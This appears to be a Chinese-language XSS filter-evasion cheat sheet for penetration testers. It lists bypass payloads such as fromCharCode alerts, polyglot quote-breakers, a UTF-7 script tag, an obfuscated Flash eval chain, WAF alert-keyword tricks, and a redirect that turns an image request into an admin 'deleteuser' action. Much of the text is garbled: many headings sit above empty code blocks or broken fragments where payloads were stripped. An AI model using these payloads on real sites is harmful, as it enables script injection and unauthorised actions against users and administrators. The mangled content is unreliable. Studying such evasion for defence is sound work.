尽管许多网站实施了输入过滤措施来防止跨站脚本(XSS)攻击,但在特定条件下,经过精心编码的脚本仍有可能实施XSS注入。本文旨在为专业的安全测试人员提供一个跨站脚本漏洞的检测指南。
以下是一些具体的XSS绕过过滤的方法:
在大多数存在漏洞的地方,插入以下代码将弹出含有“XSS”字样的对话框。建议使用URL编码器对整个代码进行编码。
小贴士:如果想快速检查页面,可以插入“<任意文本>”,然后观察页面输出是否有明显变化,以判断是否存在漏洞。
以下为具体代码实现:
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;
alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–
>”>’>
若页面空间有限且无JavaScript漏洞,以下简短的字符串可用于快速检测XSS注入。注入后查看页面源代码,检查是否出现**
”;!–”=&{()}
这是一个标准的XSS注入代码,通常会被防御,但建议先测试一下。
利用多种语言特性,可以绕过过滤机制。以下为示例代码:
‘”>>”>|\>
@gmail.com ’–>”>
”>
’”>
图片注入使用JavaScript命令实现,适用于大多数浏览器环境。示例代码如下:
不使用分号和引号的XSS攻击示例:
XSS攻击向量,不区分JavaScript函数的大小写:
使用HTML实体进行XSS攻击,需要分号以生效:
当需要在JavaScript代码中同时使用单引号和双引号时,可使用重音符(`)包含代码:
通过跳过HREF标签找到XSS漏洞的方法:
```
xxs link
```
通过不严格的HTML解析来构建含有IMG标签的XSS攻击向量:
```
”>
```
如果不允许使用引号,可以使用JavaScript的fromCharCode函数创建XSS攻击向量:
```
```
这种方法可以绕过大多数SRC域名过滤器,适用于任何HTML标签:
```
```
```
```
```
```
```
```
```
```
这种编码方式在某些浏览器中不支持直接使用javascript:形式的XSS示例:
```
```
这种编码方式适用于绕过特定形式的XSS过滤:
```
```
```
此方法绕过某些假设字符实体编码需要用分号结尾的过滤器:
使用TAB字符分隔XSS攻击代码,适用于某些解析环境:
使用编码后的TAB字符分隔XSS攻击代码:
利用换行字符分隔代码,仅特定字符有效:
使用回车字符分隔,注意字符长度:
空字符也可以用作XSS攻击,需要特殊工具或编码:
perl -e ‘print “”;’ > out
如果过滤器不计算“javascript:”前的空格,这种方法将有效:
某些浏览器的HTML解析器认为非字母非数字字符作为空白或无效符号,而XSS过滤器可能未考虑此情况:
通过在XSS攻击向量中添加额外的尖括号来绕过某些检测引擎:
<
在某些浏览器中,未闭合的标签会被自动闭合,这为XSS提供了机会:
使用BASE标签改变页面的基本URL,以实施XSS攻击:
利用OBJECT标签加载含有XSS代码的外部资源:
通过EMBED标签加载含有XSS代码的FLASH文件,适用于特定浏览器环境:
在特定浏览器下,使用EMBED标签加载SVG代码实现XSS攻击:
利用FLASH文件中的ActionScript代码进行混淆,以绕过过滤器:
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
在特定环境下,利用XML数据岛和CDATA混淆实现XSS攻击:
通过本地XML文件包含JavaScript代码实施XSS攻击:
利用HTML+TIME扩展在XML中嵌入JavaScript代码:
">
通过改名将JavaScript文件伪装成图像文件,以绕过过滤器:
如果服务器端允许SSI,可以利用它执行XSS攻击:
在服务器端安装了PHP的情况下,可以利用PHP脚本实施XSS攻击:
echo('alert("XSS")'); ?>
利用IMAGE标签在密码保护页面上执行命令,适用于管理员权限环境:
通过重定向图片到特定命令,可以在普通的图片请求中隐藏XSS攻击:
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
利用META标签覆写cookie,适用于某些特定场景:
在页面未指定编码或浏览器设置为UTF-7编码时,可以利用UTF-7执行XSS攻击:
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
在某些浏览器中,可以通过特定的引号使用方式绕过XSS过滤器:
使用不同的编码和格式化方式绕过URL过滤:
XSS
XSS
XSS
XSS
通过不同的字符组合实现“<”的所有可能表示,用于绕过过滤器:
<
%3C
<
<
... 等等 ...
利用特定技巧绕过Web应用程序防火墙(WAF),包括存储型XSS、基于DOM的XSS、请求重定向等多种方法:
... 更多示例 ...
如果XSS代码已经绕过了输入过滤并存储在服务器上,WAF可能无法在输出时阻止它。
示例:在脚本中使用setTimeout函数,根据GET参数动态设置延时。
示例:在脚本中直接执行GET参数的内容。
示例:在服务器端脚本中,基于用户输入构造重定向。
header('Location: '.$_GET['param']);
有些WAF可能不会过滤某些特定的字符串或脚本结构,可以利用这一点构造XSS攻击。
通过变换alert函数的调用方式,绕过对alert关键字的过滤。
(alert)(1)
a=alert,a(1)
[1].find(alert)
... 更多示例 ...
以上提到的XSS攻击技巧和方法,都是为了帮助安全专家更好地理解和预防XSS漏洞。强调这些技术仅用于教育和安全测试目的,任何非法使用都是不道德的,可能会导致严重的法律后果。安全研究员和渗透测试人员应在合法和道德的框架内操作,确保网络空间的安全和稳定。
收集了一些入门视频资料,可以免费分享。